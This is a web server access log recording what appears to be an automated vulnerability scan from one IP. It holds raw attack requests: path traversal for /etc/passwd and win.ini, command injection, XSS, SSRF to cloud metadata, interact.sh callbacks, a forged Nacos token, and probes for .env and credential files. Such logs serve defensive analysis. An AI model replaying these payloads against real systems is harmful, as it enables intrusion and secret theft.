[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v1/console/server/state?accessToken&username HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www/start.html HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data/ HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /neos/login HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nagios HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webui/?g=sys_dia_data_down&file_name=../../../../../../../../../../../../c:/windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nagios/side.php HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?wp_nlm=confirmation&appurl=aHR0cDovL2ludGVyYWN0LnNo HTTP/1.1" 3426
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nagiosxi/install.php HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /server-common/cgi-bin/login HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/index.html HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/NativeChurch/download/download.php?file=../../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data/manage/cmd.php?cmd=id HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /netcore_get.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/free-enterprise/license HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://2852039166/latest/meta-data/ HTTP/1.1" 226
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MicroStrategy/servlet/taskProc/ HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nbproject/project.properties HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/..%5c..%5c..%5c..%5c..%5cetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/info HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rootDesc.xml HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/jolokia/read/java.lang:type=Memory HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /API/External/GetPrivacy HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/login.cgi?username=admin&password=admin HTTP/1.1" 199
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /currentsetting.htm HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mifs/user/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /account/signin?ReturnUrl=%2f HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/music-store/ms-core/ms-submit.php HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CgiStart?page=Single HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wizard.htm HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /human.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Login.htm HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /owa/service.svc HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jbpm-console/app/tasks.jsf HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/tests.yaml HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /debug.php HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /default/en_US/status.html HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/page?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //pwnd.html HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graph HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jbossass/jbossass.jsp?ppp=type+C%3A%2FWindows%2Fwin.ini HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927556349 HTTP/1.1" -
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logon/LogonPoint/tmindex.html HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup.cgi?next_file=debug.htm&x=currentsetting.htm HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.children.json?FNZ.ico HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%c0%ae/WEB-INF/web.xml HTTP/1.1" 199
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WAN_wan.htm?.gif HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/admin/config HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nacos/v1/auth/users?pageNo=1&pageSize=9 HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webadmin/reporter/view_server_log.php?server=localhost&act=stats&filename&offset=1&offset&count=1000&sortorder&log=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&sortitem&filter HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /store/app/etc/local.xml HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /nacos/v1/auth/users/?username=380DIOFRYwZrKaXPnA1UIzy4KcK&password=380DINkDgO3mDv6qTMBN7Yu3MSt&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /signin HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MicroStrategy/servlet/taskProc?taskId=shortURL&taskEnv=xml&taskContentType=xml&srcURL=https://google.com HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nagios/cgi-bin/status.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webadmin/ HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.live HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mlb/ HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //default.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/6 HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_netrc HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.html HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /new/login HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /iNotes/Forms7.nsf HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.sqlite HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error/error.log HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_next/image?url=/\\/\\interact.sh/&q=100&w=128&h=128 HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /service/rapture/session HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /v1/auth/users/login HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..///////..////..//////windows/win.ini HTTP/1.1" 226
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/thumb.php?dir=http\\\\..\\\\..\\\\config\\\\config_db.php HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nginx.conf HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /service/rest/swagger.json HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v1/auth/users?pageNo=1&pageSize=10&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OTl9.-isk56R8NfioHVYmpj4oz92nUteNBCN3HRd0-Hfk76g HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nginx_status HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_404_%3E%3Cscript%3Ealert(1337)%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/shards.html HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kylin/api/user/authentication HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /status HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webadmin/tools/systemstatus_remote.php HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /AdminPage/conf/runCmd?cmd=id HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /server/status HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dashboard/ HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /access/config HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /img/ HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1" 199
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MRTG/ HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /auth/token HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui/jobs HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nacos/v1/console/server/state?accessToken&username HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/plugins/org.graylog.enterprise.integrations/office365/checkSubscriptions HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /vnc.html HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mylittleadmin/ HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///////../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nagios/side.php HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /npm-debug.log HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.npmrc HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /anonymous-cli-metrics.json HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927559053 HTTP/1.1" -
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/ HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Pages/login.htm HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /npm-shrinkwrap.json HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nagios3 HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nds HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://169.254.169.254.nip.io/latest/meta-data/ HTTP/1.1" 226
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MicroStrategy/servlet/taskProc HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.npm/anonymous-cli-metrics.json HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/cert_download.php?file=pqpqpqpq.txt&certfile=../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login/verify HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index/gettunnel HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //main.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //settings.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.xz HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WAN_wan.htm?.gif HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/sys HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /control/login HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nagvis/frontend/nagvis-js/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /autodiscover/autodiscover.json/v1.0/380DIeDdrCyxu3EVJbNVdUz3Ijo@interact.sh?Protocol=Autodiscoverv1 HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Pic/Indexs?imgs=DJwkiEm6KXJZ7aEiGyN4Cz83Kn1PLaKA09 HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mydb.sqlite HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mylittlebackup/ HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /PMUser/ HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api?path=files&id=dfsse%3Cimg%20src%3da%20onerror%3dalert(document.domain)%3Ez1668cyj2pi&revision=%22%22&type=%22thumb%22&command=url&expires=1687785968527 HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.backup HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/nagios4/status.cgi HTTP/1.1" 199
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.well-known/openid-configuration HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /op/generate.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /iNotes/Forms8.nsf HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /status%3E%3Cscript%3Ealert(7331)%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/7 HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /oliver/FileServlet?source=serverFile&fileName=c:/windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sfiler/Login.action HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.children.json?FNZ.html HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/cert_download.php?file=pqpqpqpq.txt&certfile=cert_download.php HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /php/query.php HTTP/1.1" 196
